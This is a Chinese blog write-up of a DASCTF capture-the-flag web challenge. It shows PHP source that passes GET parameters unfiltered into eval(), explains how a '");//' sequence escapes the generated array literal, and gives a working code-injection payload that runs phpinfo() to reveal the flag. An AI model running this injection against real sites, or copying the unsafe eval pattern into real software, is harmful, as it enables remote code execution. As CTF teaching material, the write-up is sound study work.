当前位置:网站首页>[ DASCTF Oct X ]迷路的魔法少女
[ DASCTF Oct X ]迷路的魔法少女
2022-04-22 20:19:00 【西电卢本伟】
观察源码
进入靶场发现直接给了源码:
<?php
highlight_file('index.php');
extract($_GET);
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
String2Array($attrstr);
函数分析
先来看看其中的String2Array()函数,我在其它博客中看到了这么个说法:
PHP CMS中 很常用的string2array函数:
function string2array($data){undefined if($data == ''){undefined return array(); } eval("\$array = $data;") return $array; }这里必须使用eval函数才能将“字符串”变成一个真正的数组
好家伙,直接给答案了相当于。所以这边 String2Array($data) 这个函数要想利用data得到一个数组。更全面的:将GET方法传的参数编程数组之后通过eval()函数进行赋值给另外一个变量,但是这里将字符串转换成数组的过程没有进行任何过滤,导致输入的内容很容易就逃逸出数组的范围,造成任意命令执行。
字符逃逸
再来观察观察字符赋值的内容:
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
首先我们应该知道的是,在php中点 . 的意思为“连接”,指的是字符串连接符,可以用来将两个或两个以上的字符串拼接在一起,形成一个新的字符串;具体语法格式为:
$string = string1.string2.string3. ······ .stringn;
还应该知道在php中数组默认键名是整数,也可以自己定义任意字符键名(最好是有实际意义),如:
$css=array('style'=>'0','color'=>'green');
则$css['style']=='0',$css['color']=='green'
所以上面这段代码也就明了了,通过循环将传入的两个数组进行字符串的拼接来构成一个生成数组的字符串。但是我们通过观察发现,如果传入");//这样的方式,就能够把数组闭合起来,而且还能将后面的内容给注释掉,相当于SQL注入闭合掉拼接的语句那样:
$attrstr = array("0" => "");//"xxxxx);"
构造payload
更进一步在;后面输入另外一条语句,如");phpinfo();//:
$attrstr = array("0" => "");phpinfo();//"xxxxx);"
这么一来就能够任意代码执行了,转化为payload即为:
?attrid[0]=0&attrvalue[0]=");phpinfo();//
于打印出php的信息中,CTRL+F调出搜索框搜索即可找到flag

获取flag
Tokyo flag{211eecb4-39db-4e2b-b404-402ff5442b0f}
内容同步更新至lbw的小窝了捏~
版权声明
本文为[西电卢本伟]所创,转载请带上原文链接,感谢
https://blog.csdn.net/lbwnbnbnbnbnbnbn/article/details/124332375
边栏推荐
猜你喜欢

Improving Few-Shot Part Segmentation using Coarse Supervision学习笔记

Timestamp conversion

年薪170W阿里P8相亲要求女方月薪1万,网友:有点高

ssm框架复习

掌握这些引用参考文献的小Tips,助您论文写作事半功倍~

Add / remove / filter / sort array elements

396. Rotation function (mathematical law + iterative method)

看大网站如何玩转网站加速(CDN)的秘密

面试千万不要这么说,“不喜欢开发,所以选择测试”

Android面试题之屏幕适配+AIDL篇
随机推荐
Issued locally by Axure on June 10, 2021
Why do I suggest you work in a technical position instead of a clerical position, sales
Improving Few-Shot Part Segmentation using Coarse Supervision学习笔记
Industry trends are far more important than efforts -- top test technology summary
常类型的使用 常成员函数(设计一个日期类和时间)
微服务笔记合集
[untitled] leetcode 396 rotation function [finding laws in mathematics] the way of leetcode in heroding
[unity / C] the game has a regional collapse and a deep international pit
资料员考试题型有哪些怎么备考建设厅资料员考试
Filebeat
redis集群6.2.6
Write a gateway service, understand more thoroughly!
文件上传问题记录
7-1 C语言程序设计 实验6-3 单向链表的插入 (30 分)
Swift 协议的使用
Design of high performance and high availability architecture for microservices
06. Refactoring - simplifying conditional expressions
Recommended chrome plug-ins
判断是否发生塑性变形的条件:von Mises屈服准则
Time and date formatting